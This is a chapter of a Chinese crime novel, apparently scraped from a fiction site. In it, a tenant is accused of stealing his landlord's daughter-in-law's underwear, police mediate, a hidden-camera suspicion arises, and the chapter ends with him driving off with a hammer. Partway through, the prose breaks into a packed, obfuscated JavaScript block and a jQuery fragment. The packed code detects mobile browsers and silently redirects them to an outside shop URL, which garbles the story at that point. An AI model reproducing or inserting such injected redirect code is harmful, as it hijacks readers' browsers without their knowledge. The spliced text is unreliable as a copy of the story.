傍晚六点的江都市中心，尾灯铺成长河，街道像被红雾笼罩。
喇叭声此起彼伏，车阵蠕动得像一群被困住的虫。蔡岛嘉坐在驾驶座上，僵硬的十指死死扣在方向盘上。直到车流终于松动，他才猛地一拐，钻入村道，绕过几条巷子，把车停进自建楼下的院子里。
蔡岛嘉提起装有红外探测器的黑色塑料袋，刚走出两步，入户门里猛地炸起何阿婆一嗓子，尖得像划玻璃。
“站住！”
何阿婆第一个冲出来，那头稀疏的头发油光发亮地贴在头皮上，棕白交错得像一层霉斑。身上那件花团锦簇的宽大连衣裙，仿佛庙会摊位上扯下来的桌布。她身后的“随从”们挤成一团：何阿公面色绷紧，徐朝颜神情畏缩，何序神色沉稳，朵朵却兴奋得睁大眼睛，差点扑出来追，却被何序一个眼神钉住，只得不情不愿地缩在屋檐下。
蔡岛嘉鼓起的胸腔瞬间瘪下去，下意识将黑色塑料袋往身后藏，嘴里挤出一句软绵绵的、带着慌乱的：“怎么了？”
“怎么了？你还好意思问？”何阿婆嗓门又拔高一寸，“我问你，你是不是偷进了二楼主卧？”
“我没有！我吃完午饭就出去跑车了！”蔡岛嘉把早备好的话一口气抖出来。
“不认账是吧？”何阿婆冷笑，“那你脚上为啥是新拖鞋？旧的呢？”
“穿新拖鞋犯法吗？”蔡岛嘉硬着头皮狡辩。
“穿新拖鞋不犯法，入室盗窃犯法。”何阿公的叹息声清晰地落在院子里，“小蔡，你为什么要这么做？”
“和小偷有什么好说的，直接报警吧。”何阿婆不耐烦地一挥手。
何序立刻掏出手机，却被徐朝颜伸手拦住。
“算了吧……反正丢的也不是要紧东西，这要闹出去，多丢人啊。”她压低声音，游移的眼神第一次落在蔡岛嘉身上，“只要你把东西还回来，这次我就当没发生过。”
“还什么？”
这个字眼瞬间戳进蔡岛嘉的心口。他脑中第一时间闪出的，是自己从墙里拖出的那一袋美金。可不论他怎么猜，也料不到徐朝颜接下来的话——
“……我的内裤。”她的声音变得更低，几乎是嘶嘶作响。
这句话太荒唐，荒唐到让蔡岛嘉一时连反问都忘了。他愣在原地，目瞪口呆地看着徐朝颜。
“什么东西？”半晌后，他才挤出难以置信的声音，幻想自己是因为炎热的天气而出现了幻听。
“他还在装聋作哑。”何阿婆断然道，“别和他废话了。儿子，报警！”
三分钟后，八里村街道派出所。
戚迪正对着一桶吃干抹净的红烧牛肉面行使“最后搜捕权”。他拈着随餐赠送的白色塑料叉，在汤面上小心翼翼绕圈，像渔民放网。好不容易把一粒黄豆大小的肉干逼到叉齿上，手腕轻轻一抬——肉干顺着缝隙一个回旋，完成了一个漂亮的跳水。
“……靠。”
他低声骂了一句，正要再来一轮，巡逻组员梁芸推门而入。后者是个剪着利落短发，瘦高结实的年轻女人。她拍了拍他的桌面，简短地说：“有任务，出警。”
“让别人去，我忙着呢。”戚迪眼皮都没抬。
那粒肉干再次从叉缝溜走，胜利再度归于物理学。
“没别人了，能出的就咱俩。”梁芸语气平直，连眨眼的工夫都省了。
戚戚迪喉咙里挤出一声含糊的抱怨，把整桶汤连同屡次逃逸的肉干一并倒进脚边垃圾桶。
派出所外的夕阳挂在楼檐上，半截沉进灰蒙蒙的天里，余晖把院墙涂成暗红色，像旧铁皮被火烤过。戚迪拉开车门，一屁股坐进副驾，半个身子倚向车门，摇下车窗点了烟。
梁芸面无表情地踩下油门，车子像野兽一样窜出去。那点灰雾在车里翻腾两圈，还没来得及呛人，就被风卷得干干净净，留下一丝若有若无的烟臭。
戚迪叼着烟，和梁芸确认警情细节。
“租户偷了房东的内裤？”
“偷的是房东儿媳的内裤。”
“有证据吗？”
他随手打开车载音响，黄家驹的歌声立即流淌出来，他刚一跟着哼哼，梁芸松开方向盘上的右手，啪一下把音响关了。
“你干什么？”他瞪过去。
“规定。”
“现在车上又没人！”
梁芸看了他一眼，像在看理解能力有问题的史前巨猿：“规定就是规定。你的烟，下车之前也要灭掉。”
“……你真应该去干纪委。”戚迪嘴里的烟失去了味道，他砸吧了一下，把还剩半根的烟扔进一个还有小半瓶水的饮料瓶里，“所以呢，证据有没有？”
“后墙留下了脚印，小偷翻窗逃走的时候，踩翻了后院的肥料桶，脚印一直延伸到院子停车的地方。据报警人所说，嫌疑人回来的时候脚上穿的是新鞋子，旧鞋不知所踪。”
“……那这还有什么好说的？”戚迪冷冷一笑，讥诮写在脸上。
那笑不止是给偷内裤的可怜虫，也是给自己——苦读数年，到头来却只能整日跟鸡毛蒜皮的纠纷打交道。
“我听他们说，你毕业的时候也是年级第一？”戚迪透过烟雾，从后视镜里看着梁芸。
后者只是从喉咙里不咸不淡地应了一声，好像这并非什么殊荣。
“没用的。”戚迪吐出烟雾，声音轻飘，却带着毒，“在基层，能力永远不是最重要的。”
她没有说话，他也不在乎她说什么。她还年轻，脸是冷的，心却是热的，就像他刚毕业那会一样。等她也在基层打转个十年，就会明白他此刻的心情。
“……到了。”
梁芸将车停在自建楼铁门外，解开安全带率先下了车。戚迪随后从副驾下来，抬眼扫了一圈院子里的人：
“谁是报警人？”
“我是。”何序从迈步走出，语调平直，“我们家的租客偷了我妻子的贴身衣物。”
“我没有！”蔡岛嘉涨红着脸，眼珠子急得直转。
“妈的摇裤贼，还在不认！”何阿婆骂声又尖又急，甩开胳膊就要上手，“搜身！现在就搜来看看！”
“哎，何阿婆！冷静一点，别一会摇裤没找到，你还把自己送进派出所了。”戚迪伸手按住她的手腕，像摁开一把突然弹出的折叠刀，他对梁芸打了个眼色，“事情是怎么样的，你们再给我说说。”
梁芸点点头，走到蔡岛嘉身边，压着声音说了几句，把他带到槐树下分开问话。院子里热气未散，树影晃动，话音都被压得低低的。
何家人把事前事后复述一遍：外墙上清楚的脚印、被踢翻的肥料桶、一路延伸到车位的泥痕，还有蔡岛嘉回来时脚上那双新拖鞋。戚迪顺着他们的陈述把时间线在脑子里排了一遍，又亲自去看了看所谓的“证据”，心里已有了八九分把握。
“你们的诉求是什么呢？”戚迪问。
“把摇裤还回来，还要公开道歉！再赔偿我们精神损失费两千元！”何阿婆抢着说，腮帮子鼓起来。
“……公开就算了吧？”徐朝颜尴尬地搓着睡裤边，蓝白色的HelloKitty和众人大眼瞪小眼。
何序淡淡道：“让他写保证书，保证以后再不会犯。”
过了一会，梁芸和一脸气闷的蔡岛嘉走了回来，梁芸来到他身边，低声道：“他不承认自己进了二楼主卧。”
“那他怎么解释何家人这边的证据？”
“他解释不了。”梁芸说，“但他也不肯承认，尤其是偷内裤的事。他反应很激烈，看上去不像假的。”
“让我来。”
戚迪示意梁芸留在原地，自己朝蔡岛嘉点了下头，把人领到一边阴影里。
“今天午饭之后，你没进二楼主卧？”戚迪开门见山问道。
“我没去！我吃过饭不久，就出去跑车了。”
“那为什么有人看见你进了二楼主卧？”
蔡岛嘉条件反射道：“谁看见了？”
“你觉得谁看见了？”戚迪反问。
蔡岛嘉嘴唇动了动，没接上话。
“这就无话可说了？还有外墙的脚印呢。我去看了，很清晰。技术勘验的同事一看一个准，你要是清白很快就洗干净；要是不清白，到时候再求情就没用了。”戚迪说。
蔡岛嘉咕咚一声咽了口唾沫，声音像呛到一样响亮。额角的汗水顺势滑落，仿佛连身体都在急着替他认罪。
“别把小事整大。”戚迪的语气压低了半调，“现在把东西拿出来，我们还能给你当场调解；进了流程，就不是我说了算的了。”
蔡岛嘉的大脑飞快打转：闹大了，他别想好过。三楼厕所的墙还没砌完，来个警察随便一看，就能看出里面藏过东西。可要他承认自己是“摇裤贼”？他咬牙背了这口黑锅也不是不可以，但他哪儿有“东西”还出去？
“……我没偷她的内裤。”他艰难挤出一句，这回谨慎得连“没进二楼主卧”都不敢再提。
“和小偷废什么话，搜身！”何阿婆嗓门又尖又快，“他那塑料袋一直攥着不放，八成见不得人！”
“这不符合规定，我们没有强制搜身的权力。”梁芸冷声打断。
“除非当事人自愿配合。”戚迪补充道。
所有目光齐刷刷落在蔡岛嘉身上。那一瞬，他第一次真切体会到“百口莫辩”的重量——像被人按在冷水里，想喊也喊不出。若是可能，他恨不得当场把自己剥得干干净净，叫他们睁大眼睛找找他身上究竟有没有HelloKitty。
“……我愿意配合。”他咬牙，一字一顿。
厕所窄得转不开身。戚迪把他的口袋翻得比早点摊的兜儿还干净：几枚硬币，再就是一块折到极致的小纸片。纸片一现身，蔡岛嘉像被人踩了脚背，表情瞬间僵住。
戚迪像是没注意到他的表情变化，双手却稳得很，慢条斯理地把那玩意儿摊平。
是一张银行排队的小票，时间是昨天。
“去银行做什么？”
“……存钱。”
戚迪抬眼盯了他一秒，将小票重新叠好，搁在洗手台边。随后把身上能藏东西的地方一一过手，尽是寻常物事。视线最后落在那只黑色塑料袋上。
“里头是什么？”
蔡岛嘉含含糊糊，语尾发虚。戚迪懒得兜圈，直接把袋里东西拽了出来——一个印刷体面的小盒子，封面上印着红外探测器的示意图。所里也有同类设备，只是型号更高级。
“红外探测器？”戚迪拧眉，“买它做什么？”
按理说，真“摇裤贼”多半是那个暗里装针孔、偷拍成性的人，而不是掏钱去买红外探测器、提心吊胆防被偷拍的那个。戚迪的经验和本能都在提醒他：一旦现实里出现了不合逻辑的拼图，缺失的那块，多半就是他还没看见的线索。
“因为是出租房，我怕被偷拍，所以买一个以防万一……”蔡岛嘉道，声音发硬。
戚迪正要接口，门外忽传来夏禧的声音。
“何阿婆？何阿公？小徐？有人在吗？”
他把盒子塞回黑色塑料袋里，转身拉开厕所门，大步走出。
“有什么事吗？”戚迪问。
“哦……没事，我就是想问问进展，”夏禧忙不迭摆手，“对不起对不起，我不是故意打扰您办事的。”
朵朵从客厅快步上前扶住她，小声关切：“小夏姐姐，要兑奶粉吗？我可以帮你。”
“暂时不用，谢谢你。”夏禧轻声。
“梁警官——”戚迪唤了一声。没一会儿，梁芸从院里进来。
何阿婆等人也蜂拥进楼，目光齐刷刷盯在戚迪脸上，等一句结论。
“没东西。”戚迪摇头。
“身上没东西又怎样，说不定藏车里了！”何阿婆劈头盖脸道。
蔡岛嘉刚想反驳，就见戚迪定定地看着他。愣了一会他才明白那是什么意思。强烈的屈辱从脚底一直蹿到天灵盖，他真想大喊大叫，想把所有污蔑他的人全捅个穿，但他做不到。不是不敢做，而是不能做。
蔡岛嘉脸色难看地掏出车钥匙，胳膊僵直得好像主人已经死了几天。
“你去看看。”
戚迪对梁芸说，后者接过车钥匙离开。过了大约十几分钟，梁芸重新回来，把车钥匙礼貌地递给蔡岛嘉，然后说：“车里没发现女性贴身衣物。”
“我就说了我没偷吧！”蔡岛嘉嗓门猛地拔高。
“你嚷嚷什么呢？嗓门大有理啊！”何阿婆以十倍奉还的音量怒吼道，“要是没偷我儿媳妇的摇裤，你偷偷摸摸进别人房间干嘛？鬼鬼祟祟拎个袋子回来，里面装的又是啥？！”
她话音未落，已一把扯住蔡岛嘉手里的黑色塑料袋。蔡岛嘉本能一紧，反手去夺。薄薄的塑料承受不住两股力道，“滋啦”一声撕裂成两片，里头的纸盒“扑通”落地，正面朝上，在众目睽睽下转了半圈——“红外探测器”五个黑字分外扎眼。
院子里停了一瞬，像被按了静音键。
何阿婆脸上的怒火先是僵了一下，随即换成疑惑；何阿公眉心拧成一结，何序神情不动，徐朝颜的目光则闪过一丝不安。
“这……这是什么鬼东西？”何阿婆伸手去捡。蔡岛嘉回神更快，抢先把盒子抄起，护在胸前。
“我的东西！”他压着怒气，声音仍带锋，“不是你儿媳的内裤，和你无关。”
“…
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727996|189544||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…什么东西掉到地上了？”夏禧站在外围，敬业地饰演着一个盲人。
“是一个盒子，上面写着什么红外探测器，小夏姐姐！”朵朵扶着夏禧，清脆地解说道。
“我不管你红外绿外，”何阿婆步步紧逼，“今天必须给个说法！证据摆在那里，偷进二楼主卧的人就是你！你不是偷东西去的，还能干嘛？！”
“是因为钥匙的事情吗？”夏禧的声音在这时插了进来。
“什么钥匙？”戚迪追问。
“就是……”夏禧迟疑了一下，像在权衡措辞，“我和小蔡之前讨论过这事，何阿婆图方便，所有卧室门用的是一套钥匙。小蔡当时很生气，说一定要想个法子，让她答应换锁。”
只用了零点一秒，蔡岛嘉就意识到这是他的盟友向他递来的绝佳脱身之路。
“我承认，午饭后我确实进过二楼主卧，”他接住话头，“但就是为了吓她，让她换锁。我没偷任何东西，我可以发毒誓！”
“吓我？老子是吓大的吗？你——”
戚迪不耐烦地打断了何阿婆的话：“他说你们所有卧室都用的一把锁，是这样吗？”
“是又怎么了？我自己家的锁，难道不能用一样的？”
“你自用我不管，但你租出去了，就有保护租客财产安全的义务。最起码，一屋一钥这个要求并不过分。”戚迪话锋一转，又看向蔡岛嘉，“至于你，房东不换锁，你就装贼去吓人？要都像你这么干，这楼还要不要住人？”
在基层摸爬滚打十年，戚迪现在最擅长的不是查案，而是调解。
他几乎能把那套各打五十大板的话术倒背如流。
“哎呀算了算了！我懒得和你们浪费时间！我换锁行了吧！”何阿婆一甩手，摆出一副吃亏认栽的样子，“可我换了锁，他再偷进别人房间怎么办？”
“你换了锁我还怎么进去？”蔡岛嘉憋着火顶回去。
“行了，别吵了！就这样吧，何秀英换锁，蔡岛嘉写个保证书，再有下次，我亲自把你铐到派出所！”戚迪说。
“我要他现在就写！”何阿婆不依不饶。
戚迪看向蔡岛嘉。
“……写就写！”
蔡岛嘉在餐桌前坐了下来，何阿公给他拿来纸笔，徐朝颜站在一旁和夏禧低声交谈，只听得见隐约的声音，朵朵离他最近，趴在桌上，好奇地看着他写下每一个字。
几分钟后，一篇百来个字，讲明了前后关系的“保证书”就写好了。蔡岛嘉签上自己的名字，啪一声把笔搁下：
“现在满意了？”
何阿婆拿过保证书，仔细地看了一遍，没挑出错处，不情不愿地哼了一声。
“何阿婆，人家保证书也给你写了，记得把锁换了。”戚迪提醒道。
“我知道！”何阿婆拿着保证书，不耐烦道，“老子说话算数，不像某些人！”
梁芸拿出写好的调解记录本，让双方签字后，又拍照留了个档。
“既然事情解决了，那我们就走了。48小时内，我们会有电话回访；如果反悔或再起纠纷，直接打110或到所里找我。”戚迪说。
“真是不好意思，又辛苦你跑一趟了，戚警官和梁警官。”何阿公满脸歉意地送人出门。
“换锁的日期也写进调解书里了，记得提醒何阿婆，别让她耍赖。”戚迪说。
“我知道，您放心吧。”何阿公说。
梁芸回头看了一眼蔡岛嘉，说：“还有，任何偷拍都是违法行为，严重可能涉嫌犯罪。谁有线索可以直接报案。”
等巡逻车开出小院后，蔡岛嘉不想再看任何人的表情，他拎着黑色塑料袋，脸沉得像锅底，闷着一肚子火往楼上冲。
他现在迫不及待地检查出点什么，好把结果往那些污蔑他偷内裤的人脸上摔。
走到二楼时，主卧的门恰好在他眼前合上，“咔哒”一声，何序的背影被门缝吞没。蔡岛嘉脚步一顿——他是什么时候上来的？这个念头像一朵虚弱的泡沫，刚浮起就毫无意义地碎裂了，他甩开疑问，径直上了三楼。
回到房间，他立即拆开盒子，按照使用说明书找到了开关。他按下开关，拿着探测器绕屋一圈——墙角、镜面、插座、吊顶……所有可能藏针孔的地方都扫过，仪器静得像坏了。
他把三楼逐个扫了两遍，包括夏禧的，始终一无所获。
蔡岛嘉站在空荡荡的客厅里，盯着手里的探测器，喉咙发干。风从窗外吹来，带着一股烘烤过后的尘土味。
他转身准备离开，脚尖踢到某个硬物，“嗒”的轻响沿地砖滑开；一粒黑点慢慢滚到踢脚线前停住。
他皱起眉头，弯腰将其捡起。
那是一枚黑色小螺丝，十字槽新得发亮，螺纹上有细白粉尘——像刚从哪处壳体里抖落。
蔡岛嘉抬眼望向空荡的客厅，什么也没有。
昏暗之中，走廊有风轻手轻脚掠过楼梯扶手，又归于寂静。
“嗡嗡嗡，嗡嗡嗡——”
他的手机忽然震动起来。
来电显示是母亲，这两个字伴随着本能的厌烦从心底升起。他在接听和挂断之间犹豫了一下，按下了接听，心不在焉地说：
“喂？”
在电流声中响起的不是母亲老掉牙的关心和唠叨，而是措手不及的哭声。
他变了脸色，那点不耐烦在领地被冒犯的恼怒中烟消云散，他悄声回到房间，关上房门。
“妈？你怎么了？”
“你爸爸……”蔡娟在电话那头啜泣着，断断续续道，“你爸爸他要和我离婚……他……他刚刚收拾行李，已经搬出去了……”
一股火从胸腔里猛地腾起，蔡岛嘉当即就猜到了父亲要离婚的原因。
他有片刻没有说话，只听着母亲惶然的抽泣，直到那股怒火将他的每一根骨节，每一个毛孔都烧滚烧烫，他才听到自己沙哑低沉的声音：
“我知道他去了哪儿，等我一会。”
不等母亲说话，他已经挂断了电话。手里那枚小螺丝变得不再重要，他随手扔在地上，从墙角拉出行李箱打开，从最里层的内袋里拿出一把羊角锤别在腰上，用衣摆遮掩，然后下楼开车。
他和夏禧在楼梯上狭路相逢。
“小蔡，这么晚了还出去？”夏禧脸上挂着笑容，墨镜后的眼睛却露着探究。
“嗯。”他敷衍地应了一声，侧身从她身旁经过。
一楼客厅空无一人，电视机里播放着央八的抗日神剧，厨房里传来何阿婆洗碗的声音。他没有惊动任何人地离开了自建楼。
坐上车，他抽出腰上的羊角锤放在副驾，一脚油门，黄色出租车像炮弹一样冲了出去。